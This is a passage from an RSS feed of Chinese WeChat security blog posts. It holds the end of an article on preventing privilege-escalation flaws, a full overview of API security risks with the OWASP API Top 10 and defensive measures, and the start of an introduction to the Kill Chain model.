2em;">开发人员在权限管理中遵守下列规则，可减少越权漏洞的发生：</section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p><span style="text-indent: 2em;">使用最小权限原则对用户进行赋权；</span></p></li><li><p><span style="text-indent: 34px;">使用合理（严格）的权限校验规则；</span></p></li><li><p><span style="text-indent: 34px;"></span><span style="text-indent: 34px;">使用后台登录态作为条件进行权限判断。</span></p></li></ul><p style="margin-top: 0.5em;margin-bottom: 0.5em;"><strong><span style="font-size: 24px;">四、参考文献</span></strong></p><p>[1]净山, 徐国爱. 一种Web应用越权漏洞自动化检测实现[J].  2014.</p><p>[2]赵川, 徐雁飞. 一种越权漏洞攻击方法实例研究[J]. 信息安全研究, 2019, 5(3):5.</p>



<p><a href="2247484106">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1683f909&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247484106%26idx%3D1%26sn%3Dfe1c080b2a7b90ee14159845902eeb36%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 28 Apr 2022 18:13:00 +0800</pubDate>
    </item>
    <item>
      <title>API安全浅析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247484007&amp;idx=1&amp;sn=668008a524bad7ea91f74c2f54853a87</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>RedGlare</span> <span>2022-03-08 09:22</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4f0d650c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nIrX5cHwqE7zVGacIFCX2hicMkLXtMEO9F0wosj61ibibozLGLBIV0vy9ayneGge5EnCSj0OSC890x6Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 24px;"><strong><span style="font-family: 黑体;">一、什么是API</span></strong></span></p><section style="text-indent: 2em;">API通过定义一组函数、协议、数据结构，明确应用程序中各个组件之间通信与数据交互方式。将Web应用、操作系统、数据库以及计算机软硬件的能力以接口的形式提供给外部使用。</section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>API技术解决的是程序之间的连接问题。</p></li><li><p><span style="text-indent: 2em;">API提供能力，调用方不用访问源码或理解程序内部工作机制。</span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7060518731988472" data-s="300,640" style="" data-type="png" data-w="1041" src="https://wechat2rss.xlab.app/img-proxy/?k=6e36dbd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwTOicXLIpIiaKgWqaI1SzxtYprsJia8Yg344rSI7J4ZQPb8pqh43CibD7AQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 24px;"><strong><span style="font-family: 黑体;">二、API安全形势</span></strong></span><br/></p><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: 黑体;font-size: 20px;">1、API发展趋势</span></p><p style="text-indent: 2em;">目前随着互联网、物联网等快速发展，越来越多的开发者会使用API接口为客户提供各种微服务并通过云原生应用快速部署容器进行快速迭代开发。因此无论是在互联网访问网络资源或者通过物联网进行系统应用的控制都会利用API接口。</p><p style="text-indent: 2em;">为了让客户获得更好的服务体验，银行机构正在采用、甚至迁移到API式的敏捷模型中，以实现高效、强适应性的金融安全架构。</p><p style="text-indent: 2em;">医疗保健行业的从业人员通过各种可用的API，向患者和客户提供集成化的医疗保健服务，并能提高自身产品的互操作性。</p><p style="text-indent: 2em;">零售商正在使用API为其客户提供更加智能化的电子商务平台，例如：多元化的移动支付应用等。</p><p style="margin-top: 10px;margin-bottom: 10px;white-space: normal;line-height: 24px;"><span style="font-family: 黑体;font-size: 20px;">2、API安全面临的挑战</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8982229402261712" data-s="300,640" style="" data-type="png" data-w="619" src="https://wechat2rss.xlab.app/img-proxy/?k=9e1b3fbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwicsqWnFYmmgiaV9HRs6UbfpBshjQqMCNB4Rfzymv9tsrWqgG6XyticbjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;">据统计，API请求已占所有应用请求的83%，预计2024年API请求命中数将达到42万亿次。与此同时，针对API的攻击成为了恶意攻击者的首选，相对于传统WEB窗体，API的性能更高、攻击的成本更低，有专家预测，到2024年API滥用将使得针对API的攻击成为最常见的攻击方式。之所以API安全问题如此严重，主要是因为API安全面临着如下挑战：</p><p style="text-indent: 2em;"><strong>（1）应用和逻辑迁移上云，暴露更多攻击面</strong></p><p style="text-indent: 2em;">随着云计算技术的广泛应用，越来越多的Saas被迁移上云，在为更多的用户提供服务的同时，也将API暴露到云中，相对于传统数据中心的单点调用，东西向和南北向都可能成为API的攻击面。</p><p style="text-indent: 2em;"><strong>（2）创新强调速度和灵活，忽略构建API安全</strong></p><p style="text-indent: 2em;">敏捷开发模式是当今主流开发模式，敏捷开发强调个体和互动、工作的软件、客户合作、响应变化，虽然提升了创新速度和灵活性，但是对于如何构建API安全性却缺少合适的方法，导致在软件构建过程中难以顾及API安全。</p><p style="text-indent: 2em;"><strong>（3）API接口对外不可见，引发</strong><strong>多种攻击隐患</strong></p><p style="text-indent: 2em;">由于API是由程序员书写，除了编写代码的程序员，很少有人意识到这些API的存在，缺少维护的API经常容易被忽略，然而恶意攻击者却可以利用网络流量、逆向代码、安全漏洞等各种手段找到不设防API并实施攻击。</p><p style="text-indent: 2em;"><strong>（4）组织经常低估API风险，造成安全措施遗漏</strong></p><p style="text-indent: 2em;">人们通常会假设程序会按照想象中的过程运行，从而导致API被攻击的可能性以及影响被严重低估，因此不去采取充分的防护措施。此外，第三方合作伙伴系统的API，也容易被组织所忽视。</p><p style="margin-top: 10px;margin-bottom: 10px;white-space: normal;line-height: 24px;"><span style="font-family: 黑体;font-size: 20px;">3、API安全面临的威胁</span></p><section style="line-height: 23px;text-indent: 2em;">据权威报告显示，以API为目标的攻击是以HTML应用为目标攻击的三倍，部分攻击造成了严重的业务中断，攻击者利用弱身份认证、授权和注入漏洞实施攻击的方法仍然普遍，而利用Json、XML等基于解析器的攻击以及第三方API集成带来的风险正在增加，经综合分析，API的攻击类型包括：</section><p style="text-indent: 2em;"><strong>（1）凭证类攻击</strong></p><section style="text-indent: 2em;">据统计，2018-2020期间，有1000亿次的凭证盗用攻击,而且每年攻击的复杂度和数量都在持续增加，凭证盗用攻击的代价高达2280万美元，平均每30秒就有一位凭证盗用的受害者。攻击者通过购买、钓鱼、漏洞利用等方式获得API登录凭证，继而利用僵尸网络接入客户站  点API，盗取客户数据或者个人信息。</section><p style="text-indent: 2em;"><strong>（2）可用性攻击</strong><span style="font-size: 13px;"> </span></p><section style="text-indent: 2em;">当API端点对外暴露，攻击者就可以利用DDOS或者攻击API解析器，造成API无法提供相应服务。对于DDOS，除了部署常规防DDOS设备以外，还要关注合作伙伴API的DDOS攻击承受能力，如果仅仅依靠合作伙伴的安全措施，原始API就得不到保护。而针对API解析器的攻击则更具有针对性，可能造成哈希值冲突或者反序列化异常，进而拒绝API请求。</section><p style="text-indent: 2em;"><strong>（3）漏洞利用攻击</strong> </p><section style="text-indent: 2em;">漏洞利用是所有应用程序面临的安全威胁，API也不能例外。通过在API的函数参数、Json、XML等有效负载嵌入恶意代码，实施目录转换、命令注入、SQL注入、XSS、绕过身份认证和授权等常见的API攻击手段，达到敏感数据窃取或破坏系统的目的。更进一步，API攻击已经工具化，攻击者能够利用工具搜集用于攻击的域名和API列表，再使用其他工具查找或删除敏感数据。</section><p><span style="font-family: 黑体;font-size: 20px;">4、API相关的常见数据安全问题</span></p><p style="text-indent: 2em;"><strong>（1）数据滥用风险</strong><span style="font-size: 13px;"> </span></p><section style="text-indent: 2em;">例如第三方超出业务需要，私自大量缓存、调用接口数据；接口返回超出最小必要原则的敏感个人信息字段；高敏感级别字段（例如《个人金融信息保护技术规范》定义的C3级别个人金融信息）未按规定脱敏或脱敏策略不一致。<span style="font-size: 13px;"> </span></section><p style="text-indent: 2em;"><strong>（2）数据泄露风险</strong><span style="font-size: 13px;"> </span></p><section style="text-indent: 2em;">例如数据接口权限漏洞被外部攻击者利用窃取敏感数据；或者内部员工利用遗留后门接口获取敏感数据。 </section><p style="text-indent: 2em;"><strong>（3）隐私合规风险</strong><span style="font-size: 13px;"> </span></p><section style="text-indent: 2em;"> 例如隐私数据采集未经用户授权；隐私数据接口违规开放给第三方等。</section><section style="text-indent: 2em;"> API安全一旦出现问题，可能导致的是百万、千万、甚至亿级的个人信息泄露，使企业面临违反《网络安全法》第四十二条“网络运营者应当采取技术措施和其他必要措施，确保其收集的个人信息安全，防止信息泄露、毁损、丢失”的合规风险。由此可以看出，API安全应当作为一项重要抓手，用于管控组织级别的数据安全与个人信息安全风险。</section><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 24px;"><strong><span style="font-family: 黑体;">三、OWASP API Top 10<br/></span></strong></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-weight: bold;"><p><strong>A1：失效的对象级授权</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2685643564356436" data-s="300,640" style="" data-type="png" data-w="808" src="https://wechat2rss.xlab.app/img-proxy/?k=1344d0d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwFKcqENUUkhKMtSolGZJqbHgaLM5ibhBFfz4iaeicdLnJcjA7XY0BRt3ww%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 0em;">预防措施：</section><p style="text-indent: 2em;"> <span style="text-indent: 2em;">（1）基于用户策略和继承关系来实现适当的授权机制</span></p><p style="text-indent: 2em;"> <span style="text-indent: 2em;">（2）使用随机且不易推测的IDs (UUIDs)</span></p><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A2：失效的用户身份认证</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.26798029556650244" data-s="300,640" style="" data-type="png" data-w="1015" src="https://wechat2rss.xlab.app/img-proxy/?k=119ea74a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvw4THcUT6VBoYSUl3HmPlvm1FOxjGkk2ps6uvknImllpEJpACPCdic07A%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 0em;white-space: normal;">预防措施：</section><p style="white-space: normal;text-indent: 2em;"> （1）凭据重置、忘记密码端应被视作认证端点，在暴力破解、请求频率限制和锁定保护上同等对待</p><p style="text-indent: 2em;"> （2）使用标准认证、令牌生成、密码存储、多因素认证</p><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A3：过度的数据暴露</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2689655172413793" data-s="300,640" style="" data-type="png" data-w="1015" src="https://wechat2rss.xlab.app/img-proxy/?k=5f19f62d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwe1D9gYrItKhQibian9JjyzWvoXC0RibaBgZ5Q09e5B9yOPO9jm2Gibia5ibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;">（1）<span style="text-indent: 0em;">不要依赖客户端来过滤敏感数据</span></section><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（2）检查API的响应，确认其中仅包含合法数据</span></section><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A4：资源缺失&amp;速率限制</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2698412698412698" data-s="300,640" style="" data-type="png" data-w="1008" src="https://wechat2rss.xlab.app/img-proxy/?k=d03c4654&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwYdpv9GTw8uWoCtMK9QwHUAwdXV9498kslrDotttiaE36pfpM0uxo7ug%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（1）  对用户调用API的频率执行明确的时间窗口限制</span><br/></section><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（2）在突破限制时通知客户，并提供限制数量及限制重置的时间</span><br/></section><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A5：失效的功能级别授权</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27037773359840955" data-s="300,640" style="" data-type="png" data-w="1006" src="https://wechat2rss.xlab.app/img-proxy/?k=73b6ff03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvw4ZibbXmia0UdXRYmVe55TsVuDQBTjlBNwf6omIwLXKeJQQKxRXjASOMA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（1） 强制执行机制应拒绝所有访问，要求显式授予特定角色才能访问每个功能</span><br/></section><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（2）确保常规控制器内的管理功能根据用户的组和角色实施授权检查</span><br/></section><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A6：批量分配</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2698412698412698" data-s="300,640" style="" data-type="png" data-w="1008" src="https://wechat2rss.xlab.app/img-proxy/?k=402c4963&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwcVtdwsBa1ckDs8Dgtm0Qd8MTjlmGlLpDulNzd8omdmdyC4V4icXicVSQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（1）不要自动绑定输入数据和内置对象</span><br/></section><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（2） 在设计时准确定义您将在请求中接受的模式、类型和模型，并在运行时强制执行</span><br/></section><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A7：安全配置错误</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2698412698412698" data-s="300,640" style="" data-type="png" data-w="1008" src="https://wechat2rss.xlab.app/img-proxy/?k=ab2ec0cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwy1ph3Ntc4AA7fmcLeqZfK7xYkorCZEEKOkFhcOgpqMas4XHdKkLCyQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（1）防止异常追踪和其他有价值的信息被传回攻击者，定义和强制使用统一的API响应格式，包括错误信息</span><br/></section><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（2）  在所有环境中持续评估配置和设置有效性的自动化过程</span><br/></section><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A8：注入</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2693069306930693" data-s="300,640" style="" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=0997d568&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwJasLkUeCo5uZicX6Y16gpnoUYwwBV7JkF3JHa1BUia1fGKiaGwTOlI5uA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（1）将数据与命令和查询分开</span><br/></section><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（2） 严格定义所有输入数据:模式、类型、字符串模式，并在运行时强制执行</span><br/></section><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A9：资产管理不当</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2698412698412698" data-s="300,640" style="" data-type="png" data-w="1008" src="https://wechat2rss.xlab.app/img-proxy/?k=424d5098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwDvHLMk6Y90vFzd0GqP2j3r22ZJpkVoLmbdbF7rtPFaIrZ05PLTYUiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（1）对集成服务进行清点并记录重要信息，如它们在系统中的角色、交换了什么数据(数据流)及其敏感性</span><br/></section><section style="white-space: normal;text-indent: 2em;">（2）<span style="text-indent: 0em;"> 采用开放标准自动生成文档，包括在CI/CD管道中构建的文档</span></section><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-weight: bold;"><p><strong>A10：日志和监控不足</strong></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2701092353525323" data-s="300,640" style="" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=666f2a56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvw0f7ibmiaPiaQEyXCw9L5OgkwxrxSriajyJicGgqHic5J08sOIJNWkGkX3unw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 0em;white-space: normal;">预防措施：</p><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（1）所有失败的安全策略，如日志中失败登录尝试，拒绝访问，输入验证失败，都要接受检查</span><br/></section><section style="white-space: normal;text-indent: 2em;"><span style="text-indent: 0em;">（2） 配置一个监控系统，以持续监视基础设施、网络和API功能</span><br/></section><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 24px;"><strong><span style="font-family: 黑体;">四、API安全治理</span></strong></span></p><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 24px;"><span style="font-family: 黑体;font-size: 20px;">1、API风险调查</span></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 18px;"><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: 黑体;font-size: 18px;">溯源定位</span></p></li></ul><p style="text-indent: 2em;">通过将告警的源地址与资产数据进行匹配，以及提取APIurl中的账号等参数信息，来识别出告警主体的更多信息。如果是来自内部的操作，则可以直接定位到当事的操作员工，以及所在团队或者营业部。</p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 18px;"><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: 黑体;font-size: 18px;">告警聚集性挖掘</span></p></li></ul><section style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;">通常来说，我们需要特别关注聚集性的告警。在溯源定位完成之后，我们利用聚类分析，将告警从多个维度进行聚类，挖掘告警的聚集性和作案的团伙性。如是否存在营业部聚集、是否存在地理位置聚集、是否存在对某一类数据的聚集等，并将其呈现在面板上。</section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 18px;"><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: 黑体;font-size: 18px;">情报印证</span></p></li></ul><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;">API告警的背后，是疑似API被滥用和数据被泄露。我们将告警中涉及的数据与外部泄露情报进行自动比对，如果比对印证成功，则API被滥用和数据被泄露的实锤加大，同时也省去了大量人工调查环节的证据搜索时间。</p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 18px;"><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: 黑体;font-size: 18px;">行为链路梳理</span></p></li></ul><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;">一个真实的风险事件，可能会伴随着一系列的异常行为。如通过频繁调用API接口获取了大量个人隐私数据，后续可能会出现数据外发的DLP事件，或者之前已申请离职，意图将敏感数据带走等。因此对于一条告警，我们会搜索告警时点前后的重要行为，并将其展现到调查面板中。</p><p style="margin-top: 10px;margin-bottom: 10px;white-space: normal;line-height: 24px;"><span style="font-family: 黑体;font-size: 20px;">2、API管理</span></p><section style="text-indent: 2em;">首先，对全部API进行全面文档化管理，为了规避API变动频繁的困难，推荐使用开源自动化管理工具，在API变更时添加描述性说明，自动生成最新API文档，同时自动检查流量以发现和分析未知或更改的API，以便快速响应基于API的攻击。</section><section style="text-indent: 2em;">其次，梳理API之间的调用链，梳理API之间的调用关系，找出僵尸API，防止安全防护措施遗漏，该步骤也可通过工具完成。</section><section style="text-indent: 2em;">最后，对API实施契约测试和白盒测试，减少漏洞存在的可能性。</section><p style="margin-top: 10px;margin-bottom: 10px;white-space: normal;line-height: 24px;"><span style="font-family: 黑体;font-size: 20px;">3、API安全防护措施</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 18px;"><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: 黑体;font-size: 18px;">使用令牌技术</span></p></li></ul><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;"><span style="font-size: 17px;">通过令牌建立API接口的可信身份，然后使用属于可信身份的令牌才能够实现对服务和数据资源等进行访问以及控制。</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 18px;"><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: 黑体;font-size: 18px;">使用加密和签名技术</span></p></li></ul><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;"><span style="font-size: 17px;">例如使用TLS等加密方式对数据进行加密，保证数据在传输过程中被加密并防止被篡改。使用签名技术可以保证只有拥有数据访问权限的用户才能够对数据进行解密并对数据进行修改。</span></p><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-size: 18px;"><p style="margin-top: 10px;margin-bottom: 10px;line-height: 24px;"><span style="font-family: 黑体;">主动识别API中的漏洞</span></p></li></ul><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;"><span style="font-size: 17px;">可以使用检测嗅探器对API安全进行检测并检查数据被泄漏的情况，确保在网络环境</span><span style="font-size: 17px;">下API服务的安全性，实时追踪API接口是否被非法黑客进行攻击以及漏洞被利用的情况。</span></p><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-size: 18px;"><p style="margin-top: 10px;margin-bottom: 10px;line-height: 24px;"><span style="font-family: 黑体;">使用API安全网关</span></p></li></ul><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;"><span style="font-size: 17px;">目前API安全网关已经被作为防护API安全的一个关键技术被使用，由于API安全网关可以用来控制和管理API接口的使用情况，同时也可以对使用API接口和服务的用户进行身份认证，因此在保护数据和API安全性上具备一定优势。</span></p><ul class="list-paddingleft-2" style="width: 577.747px;white-space: normal;"><li style="font-size: 18px;"><p style="margin-top: 10px;margin-bottom: 10px;line-height: 24px;"><span style="font-family: 黑体;"><span style="font-family: 黑体;">对API接口的访问频率进行限制</span></span></p></li></ul><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;"><span style="font-size: 17px;">由于业务的不同，API接口被调用的情况也会不同，通过分析和监测API接口被访问和调用的频率来确保API接口未被攻击者攻击以及数据被泄漏。一般来说被攻击的API接口往往会出现被调用次数增多或者频率与正常情况出现较大差异，因此通过限制API接口被访问的情况，进行限流等方式可以防护API出现被攻击者攻击甚至是拒绝服务的情况。</span></p><p style="margin-top: 10px;margin-bottom: 10px;white-space: normal;line-height: 24px;"><span style="font-family: 黑体;font-size: 20px;">4、API安全检视</span></p><p style="line-height: 24px;margin-bottom: 10px;margin-top: 10px;text-indent: 2em;"><span style="font-size: 17px;">从发现、保护和分析三个维度，制定API安全检视列表，持续对API进行安全检视，以此发现隐患，制定策略、实施防护。在发现维度检视API开发、测试和部署的安全措施是否全面。在保护维度，检视用户标识、DDOS攻击防护措施、数据校验黑白名单是否完整。在分析维度，检视API风险评估、API审计日志是否充分。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5726950354609929" data-s="300,640" style="" data-type="png" data-w="1128" src="https://wechat2rss.xlab.app/img-proxy/?k=41652828&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlP79GXYVjsAPibKcybZyvwETbG6DKoJNka0EUWsdZTclIRK0e4gWt4QPP7WGxbrMl49ZQiacR29eQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 10px;margin-bottom: 10px;white-space: normal;line-height: 24px;"><span style="font-family: 黑体;font-size: 20px;">5、展望</span><br/></p><section style="line-height: 153%;margin-left: 0.01in;margin-right: 0.01in;text-align: justify;direction: ltr;unicode-bidi: embed;text-indent: 2em;"><span style="font-size: 17px;">随着信息技术的快速发展，API安全防护也在持续演进过程中，最初API安全防护解决无效输入、DOS攻击、认证绕过等攻击，现今的防护重点则落地在缓冲区溢出、XSS、SQL注入等漏洞防护，安全防护的措施也从单个漏洞防护升级为网关、应用系统防护。未来，多向量、自动化工具、武器化人工智能类的攻击将成为API攻击的主流，相应的，安全防护措施也需加强系统化、自动化、深度学习、智能化能力，向以体系对抗体系，以智能防护智能的方向演进。</span></section><p><br/></p>



<p><a href="2247484007">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3a29f6d5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247484007%26idx%3D1%26sn%3D668008a524bad7ea91f74c2f54853a87%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 08 Mar 2022 09:22:00 +0800</pubDate>
    </item>
    <item>
      <title>Kill Chain模型概述</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247483985&amp;idx=1&amp;sn=1be0cd6328ef3a2a163f48dfe243c5ed</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>瓦力</span> <span>2022-02-18 15:55</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e84cd28f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRocFW8cYmCTSiblFIfnHTdT1P9aOTgVoIRHtZicH3icctI1D1FWBFMECEQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-indent: 0em;margin-top: 5px;margin-bottom: 5px;"><strong><span style="text-indent: 0em;font-size: 20px;">一、背景</span></strong></p><p style="text-indent:24px;"><span style="font-size: 16px;">Kill Chain模型是洛克希德·马丁公司借用军事领域的“杀伤链”概念，结合对大量网络攻击、尤其是APT类攻击案例的分析成果，从攻击者的角度出发，以分段式任务模型描述网络入侵攻击的过程，具体描述了网络攻击从最早的侦察跟踪阶段，到最终的达成目标阶段，对网络攻击的各个阶段生命周期进行了系统性的阐述。</span></p><section style="text-indent: 0em;margin-top: 5px;margin-bottom: 5px;"><strong><span style="font-size: 20px;">二、阶段介绍</span></strong><span style="font-size: 20px;"></span></section><p style="text-indent:24px;"><span style="font-size: 16px;">杀伤链模型包括7个有序的步骤，具体为：侦察跟踪、武器构建、载荷投递、突防利用、安装植入、通信控制、达成目标。只有当攻击者完成了第7步工作，前面的6步才真正产生意义。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.107717041800643" data-s="300,640" style="width: 349px;height: 387px;" data-type="png" data-w="622" src="https://wechat2rss.xlab.app/img-proxy/?k=e5fb4da4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLyB77Mia7lCFXibS1Jib3J9tRs9OfUaPc6s2gNSCXBZW5lZxnCKKqONmzcCfXD2jMs8ib6vfhv3sZtqw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;"><span style="font-size: 